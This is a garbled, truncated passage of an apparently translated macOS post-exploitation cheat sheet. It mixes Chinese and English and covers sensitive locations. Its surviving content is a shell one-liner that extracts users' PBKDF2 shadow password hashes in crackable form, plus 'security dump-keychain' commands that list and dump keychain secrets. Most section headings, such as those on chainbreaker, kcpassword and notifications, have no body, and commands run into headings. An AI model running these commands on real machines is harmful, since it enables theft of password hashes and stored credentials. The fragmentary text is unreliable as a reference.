macOS Sensitive Locations & Interesting Daemons
密码
阴影密码
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; donesudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'密钥链转储
#security
secuirty dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)Keychaindump 概述
chainbreaker
转储钥匙串密钥
使用 SystemKey 转储钥匙串密钥(包括密码)
转储钥匙串密钥(带密码)破解哈希
使用内存转储来转储钥匙串密钥(带密码)
使用用户密码转储钥匙串密钥(包括密码)
kcpassword
数据库中的有趣信息
Messages
通知
首选项
系统通知
Darwin 通知
分布式通知中心
苹果推送通知(APN)
用户通知
最后更新于